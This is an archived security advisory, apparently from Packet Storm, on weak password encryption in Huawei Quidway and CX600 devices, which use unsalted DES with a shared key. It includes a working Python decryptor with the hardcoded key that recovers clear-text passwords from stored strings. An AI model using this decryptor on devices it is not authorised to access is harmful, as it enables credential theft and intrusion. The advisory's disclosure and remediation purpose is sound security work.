exploit the possibilities
Home Files News &[SERVICES_TAB]About Contact Add New

Huawei Weak Password Encryption

Huawei Weak Password Encryption
Posted Nov 13, 2012
Authored by Roberto Paleari, Ivan Speziale

Various Huawei products use DES without any salt to encrypt passwords. Included vulnerable are the Huawei Quidway series and Huawei CX600.

tags | advisory
SHA-256 | 586945a98792e4b79e4cdf79efe5861cf28ea94190070c0a2759e3c7de8f3a24

Huawei Weak Password Encryption

Change Mirror Download
Weak password encryption on Huawei products
===========================================

[ADVISORY INFORMATION]
Title: Weak password encryption on Huawei products
Release date: 13/11/2012
Credits: Roberto Paleari, Emaze Networks (roberto.paleari@emaze.net)
Ivan Speziale, Emaze Networks (ivan.speziale@emaze.net)

[VULNERABILITY INFORMATION]
Class: Information disclosure

[AFFECTED PRODUCTS]
We confirm the presence of this security vulnerability on the following
products:
* Huawei Quidway series
* Huawei CX600

Other models are probably also vulnerable, but they were not checked.

[VULNERABILITY DETAILS]
Huawei devices support a weak password encryption algorithm. With this scheme,
passwords are obfuscated and encrypted with DES, using an encryption key shared
among all the affected devices. This encryption scheme does not use any
password salting mechanism. As a consequence, passwords extracted from a
victim's device can be deciphered instantaneously.

A Python procedure that decodes a given password is included below. Upon
termination, procedure decrypt_password() returns the clear-text password.

<cut>
from Crypto.Cipher import DES

def decode_char(c):
if c == 'a':
r = '?'
else:
r = c
return ord(r) - ord('!')

def ascii_to_binary(s):
assert len(s) == 24

out = [0]*18
i = 0
j = 0

for i in range(0, len(s), 4):
y = decode_char(s[i + 0])
y = (y << 6) & 0xffffff

k = decode_char(s[i + 1])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff

k = decode_char(s[i + 2])
y = (y | k) & 0xffffff
y = (y << 6) & 0xffffff

k = decode_char(s[i + 3])
y = (y | k) & 0xffffff

out[j+2] = chr(y & 0xff)
out[j+1] = chr((y>>8) & 0xff)
out[j+0] = chr((y>>16) & 0xff)

j += 3

return "".join(out)

def decrypt_password(p):
r = ascii_to_binary(p)

r = r[:16]

d = DES.new("\x01\x02\x03\x04\x05\x06\x07\x08", DES.MODE_ECB)
r = d.decrypt(r)

return r.rstrip("\x00")
</cut>


[REMEDIATION]
We recommend to store passwords using a proper hashing algorithm, instead of
leveraging symmetric encryption. At the moment, this issue has been addressed
by Huawei with security advisory Huawei-SA-20120827-01-CX600 ("Updated Security
Advisory on the Risk of Password Being Cracked Due to DES Encryption
Algorithm"). Further details are available at the following URL:
http://support.huawei.com/enterprise/ReadLatestNewsAction.action?contentId=NEWS1000001141

[COPYRIGHT]
Copyright(c) Emaze Networks S.p.A 2012, All rights reserved worldwide.
Permission is hereby granted to redistribute this advisory, providing that no
changes are made and that the copyright notices and disclaimers remain intact.

[DISCLAIMER]
Emaze Networks S.p.A is not responsible for the misuse of the information
provided in our security advisories. These advisories are a service to the
professional security community. There are NO WARRANTIES with regard to this
information. Any application or distribution of this information constitutes
acceptance AS IS, at the user's own risk. This information is subject to change
without notice.
Login or Register to add favorites

File Archive:

March 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    0 Files
  • 3
    Mar 3rd
    0 Files
  • 4
    Mar 4th
    32 Files
  • 5
    Mar 5th
    28 Files
  • 6
    Mar 6th
    42 Files
  • 7
    Mar 7th
    17 Files
  • 8
    Mar 8th
    13 Files
  • 9
    Mar 9th
    0 Files
  • 10
    Mar 10th
    0 Files
  • 11
    Mar 11th
    15 Files
  • 12
    Mar 12th
    19 Files
  • 13
    Mar 13th
    21 Files
  • 14
    Mar 14th
    38 Files
  • 15
    Mar 15th
    15 Files
  • 16
    Mar 16th
    0 Files
  • 17
    Mar 17th
    0 Files
  • 18
    Mar 18th
    10 Files
  • 19
    Mar 19th
    32 Files
  • 20
    Mar 20th
    46 Files
  • 21
    Mar 21st
    16 Files
  • 22
    Mar 22nd
    13 Files
  • 23
    Mar 23rd
    0 Files
  • 24
    Mar 24th
    0 Files
  • 25
    Mar 25th
    12 Files
  • 26
    Mar 26th
    31 Files
  • 27
    Mar 27th
    19 Files
  • 28
    Mar 28th
    0 Files
  • 29
    Mar 29th
    0 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close